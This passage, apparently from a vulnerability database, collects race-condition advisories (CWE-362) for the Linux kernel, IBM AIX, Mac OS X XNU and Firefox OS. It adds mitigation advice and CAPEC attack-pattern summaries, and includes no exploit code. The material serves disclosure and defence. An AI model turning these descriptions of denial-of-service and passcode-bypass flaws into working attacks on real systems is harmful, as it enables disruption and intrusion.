"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nmptcp: fix race in mptcp_pm_nl_flush_addrs_doit()\n\nsyzbot and Eulgyu Kim reported crashes in mptcp_pm_nl_get_local_id()\nand/or mptcp_pm_nl_is_backup()\n\nRoot cause is list_splice_init() in mptcp_pm_nl_flush_addrs_doit()\nwhich is not RCU ready.\n\nlist_splice_init_rcu() can not be called here while holding pernet-\u003elock\nspinlock.\n\nMany thanks to Eulgyu Kim for providing a repro and testing our patches.",
"id": "GHSA-r3f7-9rj4-j5fm",
"modified": "2026-03-18T15:30:40Z",
"published": "2026-02-14T18:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23169"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1f1b9523527df02685dde603f20ff6e603d8e4a1"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/338d40bab283da2639780ee3e458fb61f1567d8c"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/455e882192c9833f176f3fbbbb2f036b6c5bf555"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/51223bdd0f60b06cfc7f25885c4d4be917adba94"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/7896dbe990d56d5bb8097863b2645355633665eb"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/e2a9eeb69f7d4ca4cf4c70463af77664fdb6ab1d"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R3M5-V6WJ-P838
Vulnerability from github – Published: 2024-12-25 15:30 – Updated: 2024-12-25 15:30IBM AIX 7.2, 7.3, VIOS 3.1, and 4.1
could allow a non-privileged local user to exploit a vulnerability in the TCP/IP kernel extension to cause a denial of service.
{
"affected": [],
"aliases": [
"CVE-2024-52906"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-25T15:15:07Z",
"severity": "MODERATE"
},
"details": "IBM AIX\u00a07.2, 7.3, VIOS 3.1, and 4.1\n\n\n\ncould allow a non-privileged local user to exploit a vulnerability in the TCP/IP kernel extension to cause a denial of service.",
"id": "GHSA-r3m5-v6wj-p838",
"modified": "2024-12-25T15:30:43Z",
"published": "2024-12-25T15:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52906"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7179826"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R3MV-RFX2-RF55
Vulnerability from github – Published: 2022-05-02 03:23 – Updated: 2022-05-02 03:23Race condition in the HFS vfs sysctl interface in XNU 1228.8.20 and earlier on Apple Mac OS X 10.5.6 and earlier allows local users to cause a denial of service (kernel memory corruption) by simultaneously executing the same HFS_SET_PKG_EXTENSIONS code path in multiple threads, which is problematic because of lack of mutex locking for an unspecified global variable.
{
"affected": [],
"aliases": [
"CVE-2009-1238"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-04-02T17:30:00Z",
"severity": "HIGH"
},
"details": "Race condition in the HFS vfs sysctl interface in XNU 1228.8.20 and earlier on Apple Mac OS X 10.5.6 and earlier allows local users to cause a denial of service (kernel memory corruption) by simultaneously executing the same HFS_SET_PKG_EXTENSIONS code path in multiple threads, which is problematic because of lack of mutex locking for an unspecified global variable.",
"id": "GHSA-r3mv-rfx2-rf55",
"modified": "2022-05-02T03:23:05Z",
"published": "2022-05-02T03:23:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-1238"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/8265"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/34424"
},
{
"type": "WEB",
"url": "http://www.digit-labs.org/files/exploits/xnu-vfssysctl-dos.c"
},
{
"type": "WEB",
"url": "http://www.informationweek.com/news/hardware/mac/showArticle.jhtml?articleID=216401181"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/34202"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-R3PW-96WV-8PJ5
Vulnerability from github – Published: 2024-05-20 12:30 – Updated: 2025-01-14 18:31In the Linux kernel, the following vulnerability has been resolved:
platform/chrome: cros_ec_uart: properly fix race condition
The cros_ec_uart_probe() function calls devm_serdev_device_open() before it calls serdev_device_set_client_ops(). This can trigger a NULL pointer dereference:
BUG: kernel NULL pointer dereference, address: 0000000000000000
...
Call Trace:
<TASK>
...
? ttyport_receive_buf
A simplified version of crashing code is as follows:
static inline size_t serdev_controller_receive_buf(struct serdev_controller *ctrl,
const u8 *data,
size_t count)
{
struct serdev_device *serdev = ctrl->serdev;
if (!serdev || !serdev->ops->receive_buf) // CRASH!
return 0;
return serdev->ops->receive_buf(serdev, data, count);
}
It assumes that if SERPORT_ACTIVE is set and serdev exists, serdev->ops will also exist. This conflicts with the existing cros_ec_uart_probe() logic, as it first calls devm_serdev_device_open() (which sets SERPORT_ACTIVE), and only later sets serdev->ops via serdev_device_set_client_ops().
Commit 01f95d42b8f4 ("platform/chrome: cros_ec_uart: fix race condition") attempted to fix a similar race condition, but while doing so, made the window of error for this race condition to happen much wider.
Attempt to fix the race condition again, making sure we fully setup before calling devm_serdev_device_open().
{
"affected": [],
"aliases": [
"CVE-2024-35977"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-20T10:15:12Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nplatform/chrome: cros_ec_uart: properly fix race condition\n\nThe cros_ec_uart_probe() function calls devm_serdev_device_open() before\nit calls serdev_device_set_client_ops(). This can trigger a NULL pointer\ndereference:\n\n BUG: kernel NULL pointer dereference, address: 0000000000000000\n ...\n Call Trace:\n \u003cTASK\u003e\n ...\n ? ttyport_receive_buf\n\nA simplified version of crashing code is as follows:\n\n static inline size_t serdev_controller_receive_buf(struct serdev_controller *ctrl,\n const u8 *data,\n size_t count)\n {\n struct serdev_device *serdev = ctrl-\u003eserdev;\n\n if (!serdev || !serdev-\u003eops-\u003ereceive_buf) // CRASH!\n return 0;\n\n return serdev-\u003eops-\u003ereceive_buf(serdev, data, count);\n }\n\nIt assumes that if SERPORT_ACTIVE is set and serdev exists, serdev-\u003eops\nwill also exist. This conflicts with the existing cros_ec_uart_probe()\nlogic, as it first calls devm_serdev_device_open() (which sets\nSERPORT_ACTIVE), and only later sets serdev-\u003eops via\nserdev_device_set_client_ops().\n\nCommit 01f95d42b8f4 (\"platform/chrome: cros_ec_uart: fix race\ncondition\") attempted to fix a similar race condition, but while doing\nso, made the window of error for this race condition to happen much\nwider.\n\nAttempt to fix the race condition again, making sure we fully setup\nbefore calling devm_serdev_device_open().",
"id": "GHSA-r3pw-96wv-8pj5",
"modified": "2025-01-14T18:31:49Z",
"published": "2024-05-20T12:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35977"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/5e700b384ec13f5bcac9855cb28fcc674f1d3593"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/9e9bb74a93b7daa32313ccaefd0edc529d40daf8"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/cfd758041d8b79aa8c3f811b6bd6105379f2f702"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R3QP-23XX-VPHJ
Vulnerability from github – Published: 2022-05-17 03:59 – Updated: 2022-05-17 03:59Race condition in the lockscreen feature in Mozilla Firefox OS before 2.5 allows physically proximate attackers to bypass an intended passcode requirement via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2015-8511"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-01-09T02:59:00Z",
"severity": "MODERATE"
},
"details": "Race condition in the lockscreen feature in Mozilla Firefox OS before 2.5 allows physically proximate attackers to bypass an intended passcode requirement via unspecified vectors.",
"id": "GHSA-r3qp-23xx-vphj",
"modified": "2022-05-17T03:59:50Z",
"published": "2022-05-17T03:59:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8511"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1173284"
},
{
"type": "WEB",
"url": "http://www.mozilla.org/security/announce/2015/mfsa2015-152.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.
Mitigation
Use thread-safe capabilities such as the data access abstraction in Spring.
Mitigation
- Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.
- Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
Mitigation
When using multithreading and operating on shared variables, only use thread-safe functions.
Mitigation
Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.
Mitigation
Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.
Mitigation
Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.
Mitigation
Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.
Mitigation
Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
CAPEC-26: Leveraging Race Conditions
The adversary targets a race condition occurring when multiple processes access and manipulate the same resource concurrently, and the outcome of the execution depends on the particular order in which the access takes place. The adversary can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance, a race condition can occur while accessing a file: the adversary can trick the system by replacing the original file with their version and cause the system to read the malicious file.
CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.